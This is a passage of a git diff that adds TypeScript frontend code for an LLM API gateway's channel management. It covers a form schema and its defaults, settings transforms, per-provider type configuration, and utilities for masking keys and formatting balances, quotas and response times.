+  // Multi-key options (not sent to backend directly)
+  multi_key_mode: z.enum(['single', 'batch', 'multi_to_single']).optional(),
+  multi_key_type: z.enum(['random', 'polling']).optional(),
+  batch_add_set_key_prefix_2_name: z.boolean().optional(),
+  key_mode: z.enum(['append', 'replace']).optional(), // For editing multi-key channels
+  // Channel extra settings (stored in setting JSON, not sent directly)
+  force_format: z.boolean().optional(),
+  thinking_to_content: z.boolean().optional(),
+  proxy: z.string().optional(),
+  pass_through_body_enabled: z.boolean().optional(),
+  system_prompt: z.string().optional(),
+  system_prompt_override: z.boolean().optional(),
+  // Type-specific settings (stored in settings JSON)
+  is_enterprise_account: z.boolean().optional(), // OpenRouter specific
+  vertex_key_type: z.enum(['json', 'api_key']).optional(), // Vertex AI specific
+  aws_key_type: z.enum(['ak_sk', 'api_key']).optional(), // AWS specific
+  azure_responses_version: z.string().optional(), // Azure specific
+  // Field passthrough controls (stored in settings JSON)
+  allow_service_tier: z.boolean().optional(), // OpenAI/Anthropic
+  disable_store: z.boolean().optional(), // OpenAI only
+  allow_safety_identifier: z.boolean().optional(), // OpenAI only
+  allow_include_obfuscation: z.boolean().optional(), // OpenAI: include usage obfuscation
+  allow_inference_geo: z.boolean().optional(), // OpenAI/Anthropic: inference geography
+  allow_speed: z.boolean().optional(), // Anthropic: speed mode control
+  claude_beta_query: z.boolean().optional(), // Anthropic: beta query passthrough
+  // Upstream model update settings (stored in settings JSON)
+  upstream_model_update_check_enabled: z.boolean().optional(),
+  upstream_model_update_auto_sync_enabled: z.boolean().optional(),
+})
+
+export type ChannelFormValues = z.infer<typeof channelFormSchema>
+
+// ============================================================================
+// Default Form Values
+// ============================================================================
+
+export const CHANNEL_FORM_DEFAULT_VALUES: ChannelFormValues = {
+  name: '',
+  type: 1,
+  base_url: '',
+  key: '',
+  openai_organization: '',
+  models: '',
+  group: ['default'],
+  model_mapping: '',
+  priority: 0,
+  weight: 0,
+  test_model: '',
+  auto_ban: 1,
+  status: CHANNEL_STATUS.ENABLED,
+  status_code_mapping: '',
+  tag: '',
+  remark: '',
+  setting: '',
+  param_override: '',
+  header_override: '',
+  settings: '{}',
+  other: '',
+  multi_key_mode: 'single',
+  multi_key_type: 'random',
+  batch_add_set_key_prefix_2_name: false,
+  key_mode: 'append',
+  // Channel extra settings
+  force_format: false,
+  thinking_to_content: false,
+  proxy: '',
+  pass_through_body_enabled: false,
+  system_prompt: '',
+  system_prompt_override: false,
+  // Type-specific settings
+  is_enterprise_account: false,
+  vertex_key_type: 'json',
+  aws_key_type: 'ak_sk',
+  azure_responses_version: '',
+  // Field passthrough controls
+  allow_service_tier: false,
+  disable_store: false,
+  allow_safety_identifier: false,
+  allow_include_obfuscation: false,
+  allow_inference_geo: false,
+  allow_speed: false,
+  claude_beta_query: false,
+}
+
+// ============================================================================
+// Transform Functions
+// ============================================================================
+
+/**
+ * Transform Channel from API to Form default values
+ */
+export function transformChannelToFormDefaults(
+  channel: Channel
+): ChannelFormValues {
+  // Parse channel extra settings from setting field
+  let extraSettings = {
+    force_format: false,
+    thinking_to_content: false,
+    proxy: '',
+    pass_through_body_enabled: false,
+    system_prompt: '',
+    system_prompt_override: false,
+  }
+
+  if (channel.setting) {
+    try {
+      const parsed = JSON.parse(channel.setting)
+      extraSettings = {
+        force_format: parsed.force_format || false,
+        thinking_to_content: parsed.thinking_to_content || false,
+        proxy: parsed.proxy || '',
+        pass_through_body_enabled: parsed.pass_through_body_enabled || false,
+        system_prompt: parsed.system_prompt || '',
+        system_prompt_override: parsed.system_prompt_override || false,
+      }
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to parse channel setting:', error)
+    }
+  }
+
+  // Parse type-specific settings from settings field
+  let vertexKeyType: 'json' | 'api_key' = 'json'
+  let azureResponsesVersion = ''
+  let isEnterpriseAccount = false
+  let awsKeyType: 'ak_sk' | 'api_key' = 'ak_sk'
+  let allowServiceTier = false
+  let disableStore = false
+  let allowSafetyIdentifier = false
+  let allowIncludeObfuscation = false
+  let allowInferenceGeo = false
+  let allowSpeed = false
+  let claudeBetaQuery = false
+  let upstreamModelUpdateCheckEnabled = false
+  let upstreamModelUpdateAutoSyncEnabled = false
+
+  if (channel.settings) {
+    try {
+      const parsed = JSON.parse(channel.settings)
+      vertexKeyType = parsed.vertex_key_type || 'json'
+      azureResponsesVersion = parsed.azure_responses_version || ''
+      isEnterpriseAccount = parsed.openrouter_enterprise === true
+      awsKeyType = parsed.aws_key_type || 'ak_sk'
+      allowServiceTier = parsed.allow_service_tier === true
+      disableStore = parsed.disable_store === true
+      allowSafetyIdentifier = parsed.allow_safety_identifier === true
+      allowIncludeObfuscation = parsed.allow_include_obfuscation === true
+      allowInferenceGeo = parsed.allow_inference_geo === true
+      allowSpeed = parsed.allow_speed === true
+      claudeBetaQuery = parsed.claude_beta_query === true
+      upstreamModelUpdateCheckEnabled =
+        parsed.upstream_model_update_check_enabled === true
+      upstreamModelUpdateAutoSyncEnabled =
+        parsed.upstream_model_update_auto_sync_enabled === true
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to parse channel settings:', error)
+    }
+  }
+
+  return {
+    name: channel.name || '',
+    type: channel.type,
+    base_url: channel.base_url || '',
+    key: '', // Never populate key from backend for security
+    openai_organization: channel.openai_organization || '',
+    models: channel.models || '',
+    group: parseGroups(channel.group || 'default'),
+    model_mapping: channel.model_mapping || '',
+    priority: channel.priority || 0,
+    weight: channel.weight || 0,
+    test_model: channel.test_model || '',
+    auto_ban: channel.auto_ban ?? 1,
+    status: channel.status,
+    status_code_mapping: channel.status_code_mapping || '',
+    tag: channel.tag || '',
+    remark: channel.remark || '',
+    setting: channel.setting || '',
+    param_override: channel.param_override || '',
+    header_override: channel.header_override || '',
+    settings: channel.settings || '{}',
+    other: channel.other || '',
+    multi_key_mode: 'single',
+    multi_key_type: channel.channel_info.multi_key_mode || 'random',
+    batch_add_set_key_prefix_2_name: false,
+    key_mode: 'append', // Default to append mode for editing multi-key channels
+    // Channel extra settings
+    ...extraSettings,
+    // Type-specific settings
+    is_enterprise_account: isEnterpriseAccount,
+    vertex_key_type: vertexKeyType,
+    azure_responses_version: azureResponsesVersion,
+    aws_key_type: awsKeyType,
+    allow_service_tier: allowServiceTier,
+    disable_store: disableStore,
+    allow_include_obfuscation: allowIncludeObfuscation,
+    allow_inference_geo: allowInferenceGeo,
+    allow_speed: allowSpeed,
+    claude_beta_query: claudeBetaQuery,
+    allow_safety_identifier: allowSafetyIdentifier,
+    upstream_model_update_check_enabled: upstreamModelUpdateCheckEnabled,
+    upstream_model_update_auto_sync_enabled: upstreamModelUpdateAutoSyncEnabled,
+  }
+}
+
+/**
+ * Build the setting JSON string from form extra settings
+ */
+function buildSettingJSON(formData: ChannelFormValues): string {
+  const settingObj = {
+    force_format: formData.force_format || false,
+    thinking_to_content: formData.thinking_to_content || false,
+    proxy: formData.proxy || '',
+    pass_through_body_enabled: formData.pass_through_body_enabled || false,
+    system_prompt: formData.system_prompt || '',
+    system_prompt_override: formData.system_prompt_override || false,
+  }
+  return JSON.stringify(settingObj)
+}
+
+/**
+ * Build the settings JSON string (for type-specific config like vertex_key_type)
+ */
+function buildSettingsJSON(formData: ChannelFormValues): string {
+  let settingsObj: Record<string, unknown> = {}
+
+  // Try to parse existing settings first
+  if (formData.settings && formData.settings !== '{}') {
+    try {
+      settingsObj = JSON.parse(formData.settings)
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to parse existing settings:', error)
+    }
+  }
+
+  // Add vertex_key_type for Vertex AI channels (type 41)
+  if (formData.type === 41) {
+    settingsObj.vertex_key_type = formData.vertex_key_type || 'json'
+  } else if ('vertex_key_type' in settingsObj) {
+    delete settingsObj.vertex_key_type
+  }
+
+  // Add azure_responses_version for Azure channels (type 3)
+  if (formData.type === 3 && formData.azure_responses_version) {
+    settingsObj.azure_responses_version = formData.azure_responses_version
+  } else if ('azure_responses_version' in settingsObj) {
+    delete settingsObj.azure_responses_version
+  }
+
+  // Add enterprise account setting for OpenRouter (type 20)
+  if (formData.type === 20) {
+    settingsObj.openrouter_enterprise = formData.is_enterprise_account === true
+  } else if ('openrouter_enterprise' in settingsObj) {
+    delete settingsObj.openrouter_enterprise
+  }
+
+  // Add aws_key_type for AWS channels (type 33)
+  if (formData.type === 33) {
+    settingsObj.aws_key_type = formData.aws_key_type || 'ak_sk'
+  } else if ('aws_key_type' in settingsObj) {
+    delete settingsObj.aws_key_type
+  }
+
+  // Field passthrough controls:
+  // - OpenAI (type 1) and Anthropic (type 14): allow_service_tier
+  // - OpenAI only: disable_store, allow_safety_identifier
+  if (formData.type === 1 || formData.type === 14) {
+    settingsObj.allow_service_tier = formData.allow_service_tier === true
+  } else if ('allow_service_tier' in settingsObj) {
+    delete settingsObj.allow_service_tier
+  }
+
+  if (formData.type === 1) {
+    settingsObj.disable_store = formData.disable_store === true
+    settingsObj.allow_safety_identifier =
+      formData.allow_safety_identifier === true
+    settingsObj.allow_include_obfuscation =
+      formData.allow_include_obfuscation === true
+    settingsObj.allow_inference_geo = formData.allow_inference_geo === true
+  } else {
+    if ('disable_store' in settingsObj) delete settingsObj.disable_store
+    if ('allow_safety_identifier' in settingsObj)
+      delete settingsObj.allow_safety_identifier
+    if ('allow_include_obfuscation' in settingsObj)
+      delete settingsObj.allow_include_obfuscation
+    if (formData.type !== 14 && 'allow_inference_geo' in settingsObj)
+      delete settingsObj.allow_inference_geo
+  }
+
+  // Anthropic (type 14): claude_beta_query, allow_inference_geo, allow_speed
+  if (formData.type === 14) {
+    settingsObj.allow_inference_geo = formData.allow_inference_geo === true
+    settingsObj.allow_speed = formData.allow_speed === true
+    settingsObj.claude_beta_query = formData.claude_beta_query === true
+  } else {
+    if ('allow_speed' in settingsObj) delete settingsObj.allow_speed
+    if ('claude_beta_query' in settingsObj) delete settingsObj.claude_beta_query
+  }
+
+  // Upstream model update settings (for model-fetchable channel types)
+  if (MODEL_FETCHABLE_TYPES.has(formData.type)) {
+    settingsObj.upstream_model_update_check_enabled =
+      formData.upstream_model_update_check_enabled === true
+    settingsObj.upstream_model_update_auto_sync_enabled =
+      formData.upstream_model_update_auto_sync_enabled === true
+  }
+
+  return JSON.stringify(settingsObj)
+}
+
+/**
+ * Transform form data to API payload for creating channel
+ */
+export function transformFormDataToCreatePayload(formData: ChannelFormValues): {
+  mode: 'single' | 'batch' | 'multi_to_single'
+  multi_key_mode?: 'random' | 'polling'
+  batch_add_set_key_prefix_2_name?: boolean
+  channel: Partial<Channel>
+} {
+  const mode = formData.multi_key_mode || 'single'
+
+  const channel: Partial<Channel> = {
+    name: formData.name,
+    type: formData.type,
+    base_url: formData.base_url || null,
+    key: formData.key,
+    openai_organization: formData.openai_organization || null,
+    models: formData.models,
+    group: formatGroups(formData.group),
+    model_mapping: formData.model_mapping || null,
+    priority: formData.priority || null,
+    weight: formData.weight || null,
+    test_model: formData.test_model || null,
+    auto_ban: formData.auto_ban ?? 1,
+    status: formData.status,
+    status_code_mapping: formData.status_code_mapping || null,
+    tag: formData.tag || null,
+    remark: formData.remark || '',
+    setting: buildSettingJSON(formData),
+    param_override: formData.param_override || null,
+    header_override: formData.header_override || null,
+    settings: buildSettingsJSON(formData),
+    other: formData.other || '',
+  }
+
+  // Clean up empty strings to null for optional fields
+  Object.keys(channel).forEach((key) => {
+    if (channel[key as keyof typeof channel] === '') {
+      ;(channel as Record<string, unknown>)[key] = null
+    }
+  })
+
+  return {
+    mode,
+    multi_key_mode:
+      mode === 'multi_to_single' ? formData.multi_key_type : undefined,
+    batch_add_set_key_prefix_2_name:
+      mode === 'batch' ? formData.batch_add_set_key_prefix_2_name : undefined,
+    channel,
+  }
+}
+
+/**
+ * Transform form data to API payload for updating channel
+ */
+export function transformFormDataToUpdatePayload(
+  formData: ChannelFormValues,
+  channelId: number
+): Partial<Channel> {
+  const payload: Partial<Channel> = {
+    id: channelId,
+    name: formData.name,
+    type: formData.type,
+    base_url: formData.base_url || null,
+    openai_organization: formData.openai_organization || null,
+    models: formData.models,
+    group: formatGroups(formData.group),
+    model_mapping: formData.model_mapping || null,
+    priority: formData.priority || null,
+    weight: formData.weight || null,
+    test_model: formData.test_model || null,
+    auto_ban: formData.auto_ban ?? 1,
+    status: formData.status,
+    status_code_mapping: formData.status_code_mapping || null,
+    tag: formData.tag || null,
+    remark: formData.remark || '',
+    setting: buildSettingJSON(formData),
+    param_override: formData.param_override || null,
+    header_override: formData.header_override || null,
+    settings: buildSettingsJSON(formData),
+    other: formData.other || '',
+  }
+
+  // Only include key if it was changed (not empty)
+  if (formData.key && formData.key.trim()) {
+    payload.key = formData.key
+  }
+
+  // Clean up empty strings to null for optional fields
+  Object.keys(payload).forEach((key) => {
+    if (payload[key as keyof typeof payload] === '') {
+      ;(payload as Record<string, unknown>)[key] = null
+    }
+  })
+
+  return payload
+}
+
+// ============================================================================
+// Validation Helpers
+// ============================================================================
+
+/**
+ * Validate JSON string
+ */
+export function validateJSON(value: string): boolean {
+  if (!value || value.trim() === '') return true
+  try {
+    JSON.parse(value)
+    return true
+  } catch {
+    return false
+  }
+}
+
+/**
+ * Validate model mapping format
+ */
+export function validateModelMapping(value: string): boolean {
+  if (!value || value.trim() === '') return true
+  return validateJSON(value)
+}
+
+/**
+ * Parse models string to array
+ */
+export function parseModels(models: string): string[] {
+  if (!models) return []
+  return models
+    .split(',')
+    .map((m) => m.trim())
+    .filter((m) => m.length > 0)
+}
+
+/**
+ * Parse groups string to array
+ */
+export function parseGroups(groups: string): string[] {
+  if (!groups) return []
+  return groups
+    .split(',')
+    .map((g) => g.trim())
+    .filter((g) => g.length > 0)
+}
+
+/**
+ * Format models array to string
+ */
+export function formatModels(models: string[]): string {
+  return models.join(',')
+}
+
+/**
+ * Format groups array to string
+ */
+export function formatGroups(groups: string[]): string {
+  return groups.join(',')
+}
diff --git a/new-api/web/default/src/features/channels/lib/channel-type-config.ts b/new-api/web/default/src/features/channels/lib/channel-type-config.ts
new file mode 100644
index 0000000..0ddeb0c
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/channel-type-config.ts
@@ -0,0 +1,180 @@
+import { CHANNEL_TYPES } from '../constants'
+
+// ============================================================================
+// Channel Type Configuration
+// ============================================================================
+
+export interface ChannelTypeConfig {
+  id: number
+  name: string
+  icon: string
+  defaultBaseUrl?: string
+  requiresOrganization?: boolean
+  requiresRegion?: boolean
+  supportedModels?: string[]
+  hints?: {
+    baseUrl?: string
+    key?: string
+    models?: string
+    other?: string
+  }
+  validation?: {
+    keyFormat?: RegExp
+    keyMinLength?: number
+  }
+}
+
+/**
+ * Configuration for each channel type
+ */
+export const CHANNEL_TYPE_CONFIGS: Record<number, ChannelTypeConfig> = {
+  1: {
+    id: 1,
+    name: CHANNEL_TYPES[1],
+    icon: 'openai',
+    defaultBaseUrl: 'https://api.openai.com',
+    requiresOrganization: true,
+    hints: {
+      baseUrl: 'Default: https://api.openai.com',
+      key: 'Format: sk-...',
+      models: 'gpt-4,gpt-4-turbo,gpt-3.5-turbo',
+    },
+    validation: {
+      keyFormat: /^sk-/,
+      keyMinLength: 20,
+    },
+  },
+  3: {
+    id: 3,
+    name: CHANNEL_TYPES[3],
+    icon: 'azure',
+    requiresRegion: true,
+    hints: {
+      baseUrl: 'Azure OpenAI Endpoint',
+      key: 'Azure API Key',
+      models: 'Deployment names',
+    },
+  },
+  14: {
+    id: 14,
+    name: CHANNEL_TYPES[14],
+    icon: 'anthropic',
+    defaultBaseUrl: 'https://api.anthropic.com',
+    hints: {
+      key: 'Format: sk-ant-...',
+      models: 'claude-3-opus,claude-3-sonnet,claude-3-haiku',
+    },
+  },
+  24: {
+    id: 24,
+    name: CHANNEL_TYPES[24],
+    icon: 'google',
+    hints: {
+      key: 'Google API Key',
+      models: 'gemini-pro,gemini-pro-vision',
+    },
+  },
+  41: {
+    id: 41,
+    name: CHANNEL_TYPES[41],
+    icon: 'google',
+    requiresRegion: true,
+    hints: {
+      key: 'Service account JSON or API key',
+      models: 'gemini-pro,gemini-1.5-pro',
+      other: 'Region config: {"default": "us-central1"}',
+    },
+  },
+  43: {
+    id: 43,
+    name: CHANNEL_TYPES[43],
+    icon: 'deepseek',
+    defaultBaseUrl: 'https://api.deepseek.com',
+    hints: {
+      key: 'DeepSeek API Key',
+      models: 'deepseek-chat,deepseek-coder',
+    },
+  },
+  20: {
+    id: 20,
+    name: CHANNEL_TYPES[20],
+    icon: 'openrouter',
+    defaultBaseUrl: 'https://openrouter.ai/api',
+    hints: {
+      key: 'OpenRouter API Key',
+      models: 'Use model IDs from OpenRouter',
+    },
+  },
+  56: {
+    id: 56,
+    name: CHANNEL_TYPES[56],
+    icon: 'replicate',
+    defaultBaseUrl: 'https://api.replicate.com',
+    hints: {
+      key: 'Replicate API Token',
+      models: 'Replicate model IDs',
+      baseUrl: 'Default: https://api.replicate.com',
+    },
+  },
+}
+
+/**
+ * Get configuration for a channel type
+ */
+export function getChannelTypeConfig(type: number): ChannelTypeConfig {
+  return (
+    CHANNEL_TYPE_CONFIGS[type] || {
+      id: type,
+      name: CHANNEL_TYPES[type as keyof typeof CHANNEL_TYPES] || 'Unknown',
+      icon: 'openai',
+    }
+  )
+}
+
+/**
+ * Check if channel type requires organization field
+ */
+export function requiresOrganization(type: number): boolean {
+  return CHANNEL_TYPE_CONFIGS[type]?.requiresOrganization || false
+}
+
+/**
+ * Check if channel type requires region configuration
+ */
+export function requiresRegion(type: number): boolean {
+  return CHANNEL_TYPE_CONFIGS[type]?.requiresRegion || false
+}
+
+/**
+ * Get default base URL for channel type
+ */
+export function getDefaultBaseUrl(type: number): string {
+  return CHANNEL_TYPE_CONFIGS[type]?.defaultBaseUrl || ''
+}
+
+/**
+ * Get hints for channel type
+ */
+export function getChannelTypeHints(type: number) {
+  return CHANNEL_TYPE_CONFIGS[type]?.hints || {}
+}
+
+/**
+ * Validate API key format for channel type
+ */
+export function validateKeyFormat(type: number, key: string): boolean {
+  const config = CHANNEL_TYPE_CONFIGS[type]
+  if (!config?.validation) return true
+
+  const { keyFormat, keyMinLength } = config.validation
+
+  if (keyMinLength && key.length < keyMinLength) {
+    return false
+  }
+
+  if (keyFormat && !keyFormat.test(key)) {
+    return false
+  }
+
+  return true
+}
diff --git a/new-api/web/default/src/features/channels/lib/channel-utils.ts b/new-api/web/default/src/features/channels/lib/channel-utils.ts
new file mode 100644
index 0000000..9d96b62
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/channel-utils.ts
@@ -0,0 +1,643 @@
+import { formatCurrencyFromUSD, formatQuotaWithCurrency } from '@/lib/currency'
+import dayjs from '@/lib/dayjs'
+import { formatTimestampToDate } from '@/lib/format'
+import {
+  CHANNEL_STATUS_CONFIG,
+  CHANNEL_TYPES,
+  MULTI_KEY_STATUS_CONFIG,
+  RESPONSE_TIME_CONFIG,
+  RESPONSE_TIME_THRESHOLDS,
+  TYPE_TO_KEY_PROMPT,
+} from '../constants'
+import type { Channel, ChannelSettings, ChannelOtherSettings } from '../types'
+
+// ============================================================================
+// Channel Type Utilities
+// ============================================================================
+
+/**
+ * Get human-readable channel type label
+ */
+export function getChannelTypeLabel(type: number): string {
+  return CHANNEL_TYPES[type as keyof typeof CHANNEL_TYPES] || 'Unknown'
+}
+
+/**
+ * Get channel type icon name for getLobeIcon
+ * Maps channel types to Lobe icon names using type number (language-independent)
+ */
+export function getChannelTypeIcon(type: number): string {
+  const TYPE_TO_ICON: Record<number, string> = {
+    // OpenAI family
+    1: 'OpenAI', // OpenAI
+    6: 'OpenAI', // OpenAIMax
+    7: 'OpenAI', // OhMyGPT
+    8: 'OpenAI', // Custom
+    3: 'Azure', // Azure
+
+    // Anthropic
+    14: 'Claude', // Anthropic
+
+    // Google family
+    24: 'Gemini', // Gemini
+    11: 'Google', // PaLM
+    41: 'Gemini', // Vertex AI
+
+    // Cloud providers
+    33: 'Aws', // AWS
+    39: 'Cloudflare', // Cloudflare
+
+    // Chinese providers
+    15: 'Baidu', // Baidu
+    46: 'Baidu', // Baidu V2
+    16: 'Zhipu', // Zhipu
+    26: 'Zhipu', // Zhipu V4
+    17: 'Qwen', // Ali
+    18: 'Spark', // Xunfei
+    23: 'Hunyuan', // Tencent
+    19: 'Ai360', // 360
+    25: 'Moonshot', // Moonshot
+    31: 'Yi', // LingYiWanWu
+    35: 'Minimax', // MiniMax
+    45: 'Volcengine', // VolcEngine
+
+    // Other AI providers
+    4: 'Ollama', // Ollama
+    27: 'Perplexity', // Perplexity
+    34: 'Cohere', // Cohere
+    42: 'Mistral', // Mistral
+    43: 'DeepSeek', // DeepSeek
+    48: 'XAI', // xAI
+    49: 'Coze', // Coze
+    40: 'SiliconCloud', // SiliconFlow
+    44: 'OpenAI', // MokaAI
+    20: 'OpenRouter', // OpenRouter
+
+    // Image/Video generation
+    2: 'Midjourney', // Midjourney
+    5: 'Midjourney', // MidjourneyPlus
+    50: 'Kling', // Kling
+    51: 'Jimeng', // Jimeng
+    52: 'Vidu', // Vidu
+    36: 'Suno', // SunoAPI
+    55: 'OpenAI', // Sora
+    54: 'Doubao', // DoubaoVideo
+    56: 'Replicate', // Replicate
+
+    // Tools & Platforms
+    37: 'Dify', // Dify
+    38: 'Jina', // Jina
+    22: 'FastGPT', // FastGPT
+    47: 'Xinference', // Xinference
+    53: 'OpenAI', // Submodel
+
+    // AI Proxy services
+    10: 'OpenAI', // AI Proxy
+    21: 'OpenAI', // AI Proxy Library
+    12: 'OpenAI', // API2GPT
+    13: 'OpenAI', // AIGC2D
+    9: 'OpenAI', // AILS
+  }
+
+  return TYPE_TO_ICON[type] || 'OpenAI'
+}
+
+// ============================================================================
+// Status Utilities
+// ============================================================================
+
+/**
+ * Get status badge configuration
+ */
+export function getChannelStatusBadge(status: number) {
+  return (
+    CHANNEL_STATUS_CONFIG[status as keyof typeof CHANNEL_STATUS_CONFIG] ||
+    CHANNEL_STATUS_CONFIG[0]
+  )
+}
+
+/**
+ * Get multi-key status badge configuration
+ */
+export function getMultiKeyStatusBadge(status: number) {
+  return (
+    MULTI_KEY_STATUS_CONFIG[status as keyof typeof MULTI_KEY_STATUS_CONFIG] ||
+    MULTI_KEY_STATUS_CONFIG[1]
+  )
+}
+
+/**
+ * Check if channel is enabled
+ */
+export function isChannelEnabled(channel: Channel): boolean {
+  return channel.status === 1
+}
+
+/**
+ * Check if channel is multi-key
+ */
+export function isMultiKeyChannel(channel: Channel): boolean {
+  return channel.channel_info?.is_multi_key || false
+}
+
+// ============================================================================
+// Key Formatting
+// ============================================================================
+
+/**
+ * Format channel key for display
+ * Masks the key for security, showing only first and last few characters
+ */
+export function formatChannelKey(
+  key: string,
+  isMultiKey: boolean = false
+): string {
+  if (!key) return ''
+
+  if (isMultiKey) {
+    const keys = key.split('\n').filter((k) => k.trim())
+    return `${keys.length} keys`
+  }
+
+  if (key.length <= 16) {
+    // For short keys, mask middle part
+    return `${key.slice(0, 4)}...${key.slice(-4)}`
+  }
+
+  // For longer keys, show more context
+  return `${key.slice(0, 8)}...${key.slice(-8)}`
+}
+
+/**
+ * Format key preview for multi-key display
+ */
+export function formatKeyPreview(key: string, maxLength: number = 10): string {
+  if (!key) return ''
+  if (key.length <= maxLength) return key
+  return `${key.slice(0, maxLength)}...`
+}
+
+/**
+ * Count keys in multi-key string
+ */
+export function countKeys(key: string): number {
+  if (!key) return 0
+  return key.split('\n').filter((k) => k.trim()).length
+}
+
+// ============================================================================
+// Model & Group Parsing
+// ============================================================================
+
+/**
+ * Parse comma-separated models list
+ */
+export function parseModelsList(models: string): string[] {
+  if (!models) return []
+  return models
+    .split(',')
+    .map((m) => m.trim())
+    .filter((m) => m.length > 0)
+}
+
+/**
+ * Parse comma-separated groups list.
+ * Sorts with 'default' group first, then locale-sorted alphabetically.
+ */
+export function parseGroupsList(groups: string): string[] {
+  if (!groups) return []
+  const list = groups
+    .split(',')
+    .map((g) => g.trim())
+    .filter((g) => g.length > 0)
+  return list.sort((a, b) => {
+    if (a === 'default') return -1
+    if (b === 'default') return 1
+    return a.localeCompare(b)
+  })
+}
+
+/**
+ * Format models array back to string
+ */
+export function formatModelsString(models: string[]): string {
+  return models.join(',')
+}
+
+/**
+ * Format groups array back to string
+ */
+export function formatGroupsString(groups: string[]): string {
+  return groups.join(',')
+}
+
+// ============================================================================
+// Settings Parsing
+// ============================================================================
+
+/**
+ * Parse channel settings JSON
+ */
+export function parseChannelSettings(
+  settingStr: string | null | undefined
+): ChannelSettings {
+  if (!settingStr) return {}
+  try {
+    return JSON.parse(settingStr) as ChannelSettings
+  } catch {
+    return {}
+  }
+}
+
+/**
+ * Parse channel other settings JSON
+ */
+export function parseChannelOtherSettings(
+  settingsStr: string | null | undefined
+): ChannelOtherSettings {
+  if (!settingsStr || settingsStr === '{}') return {}
+  try {
+    return JSON.parse(settingsStr) as ChannelOtherSettings
+  } catch {
+    return {}
+  }
+}
+
+/**
+ * Validate JSON string
+ */
+export function validateChannelSettings(settings: string): boolean {
+  if (!settings || settings.trim() === '') return true
+  try {
+    JSON.parse(settings)
+    return true
+  } catch {
+    return false
+  }
+}
+
+// ============================================================================
+// Balance Formatting
+// ============================================================================
+
+/**
+ * Format balance with currency symbol
+ */
+export function formatBalance(balance: number | null | undefined): string {
+  if (balance == null || Number.isNaN(balance)) return '-'
+  return formatCurrencyFromUSD(balance, {
+    digitsLarge: 2,
+    digitsSmall: 4,
+    abbreviate: false,
+  })
+}
+
+/**
+ * Get balance status color
+ */
+export function getBalanceVariant(
+  balance: number
+): 'success' | 'warning' | 'danger' | 'neutral' {
+  if (balance === 0) return 'neutral'
+  if (balance < 1) return 'danger'
+  if (balance < 10) return 'warning'
+  return 'success'
+}
+
+// ============================================================================
+// Response Time Utilities
+// ============================================================================
+
+/** Optional i18n: (key, options) => string, e.g. useTranslation().t */
+type TFunction = (key: string, options?: { value?: number | string }) => string
+
+/**
+ * Format response time in milliseconds to human-readable.
+ * Pass `t` from useTranslation() for i18n (e.g. "Not tested", "{{value}}ms", "{{value}}s").
+ */
+export function formatResponseTime(timeMs: number, t?: TFunction): string {
+  if (timeMs === 0) return t ? t('Not tested') : 'Not tested'
+  if (timeMs < 1000)
+    return t ? t('{{value}}ms', { value: timeMs }) : `${timeMs}ms`
+  return t
+    ? t('{{value}}s', { value: (timeMs / 1000).toFixed(2) })
+    : `${(timeMs / 1000).toFixed(2)}s`
+}
+
+/**
+ * Get response time performance rating
+ */
+export function getResponseTimeConfig(timeMs: number) {
+  if (timeMs === 0) return RESPONSE_TIME_CONFIG.UNKNOWN
+  if (timeMs <= RESPONSE_TIME_THRESHOLDS.EXCELLENT)
+    return RESPONSE_TIME_CONFIG.EXCELLENT
+  if (timeMs <= RESPONSE_TIME_THRESHOLDS.GOOD) return RESPONSE_TIME_CONFIG.GOOD
+  if (timeMs <= RESPONSE_TIME_THRESHOLDS.FAIR) return RESPONSE_TIME_CONFIG.FAIR
+  if (timeMs <= RESPONSE_TIME_THRESHOLDS.POOR) return RESPONSE_TIME_CONFIG.POOR
+  return RESPONSE_TIME_CONFIG.POOR
+}
+
+// ============================================================================
+// Time Formatting
+// ============================================================================
+
+/**
+ * Format Unix timestamp to relative time
+ * e.g., "2 hours ago", "3 days ago"
+ */
+export function formatRelativeTime(timestamp: number): string {
+  if (!timestamp || timestamp === 0) return 'Never'
+
+  try {
+    return dayjs(timestamp * 1000).fromNow()
+  } catch {
+    return 'Unknown'
+  }
+}
+
+/**
+ * Format Unix timestamp to date string
+ */
+export function formatTimestamp(timestamp: number): string {
+  if (!timestamp || timestamp === 0) return 'N/A'
+
+  try {
+    return formatTimestampToDate(timestamp)
+  } catch {
+    return 'Invalid date'
+  }
+}
+
+// ============================================================================
+// Quota Formatting
+// ============================================================================
+
+/** Format quota units using the global currency display configuration. */
+export function formatQuota(quota: number): string {
+  return formatQuotaWithCurrency(quota, {
+    digitsLarge: 2,
+    digitsSmall: 4,
+    abbreviate: true,
+  })
+}
+
+// ============================================================================
+// Priority & Weight Utilities
+// ============================================================================
+
+/**
+ * Get priority display value
+ */
+export function getPriorityDisplay(
+  priority: number | null | undefined
+): string {
+  if (priority === null || priority === undefined) return '0'
+  return String(priority)
+}
+
+/**
+ * Get weight display value
+ */
+export function getWeightDisplay(weight: number | null | undefined): string {
+  if (weight === null || weight === undefined) return '0'
+  return String(weight)
+}
+
+// ============================================================================
+// Validation Utilities
+// ============================================================================
+
+/**
+ * Validate channel name
+ */
+export function validateChannelName(name: string): boolean {
+  return name.trim().length > 0
+}
+
+/**
+ * Validate API key format
+ */
+export function validateApiKey(key: string): boolean {
+  return key.trim().length > 0
+}
+
+/**
+ * Validate models list
+ */
+export function validateModels(models: string): boolean {
+  return parseModelsList(models).length > 0
+}
+
+/**
+ * Validate groups list
+ */
+export function validateGroups(groups: string): boolean {
+  return parseGroupsList(groups).length > 0
+}
+
+/**
+ * Check if channel needs attention (low balance, auto-disabled, etc.)
+ */
+export function channelNeedsAttention(channel: Channel): boolean {
+  // Auto-disabled
+  if (channel.status === 3) return true
+
+  // Low balance (less than $1)
+  if (channel.balance > 0 && channel.balance < 1) return true
+
+  // Multi-key channel with all keys disabled
+  if (
+    channel.channel_info?.is_multi_key &&
+    channel.channel_info.multi_key_status_list &&
+    Object.keys(channel.channel_info.multi_key_status_list).length >=
+      channel.channel_info.multi_key_size
+  ) {
+    return true
+  }
+
+  return false
+}
+
+/**
+ * Get attention reason for channel
+ */
+export function getAttentionReason(channel: Channel): string | null {
+  if (channel.status === 3) return 'Auto-disabled'
+  if (channel.balance > 0 && channel.balance < 1) return 'Low balance'
+  if (
+    channel.channel_info?.is_multi_key &&
+    channel.channel_info.multi_key_status_list &&
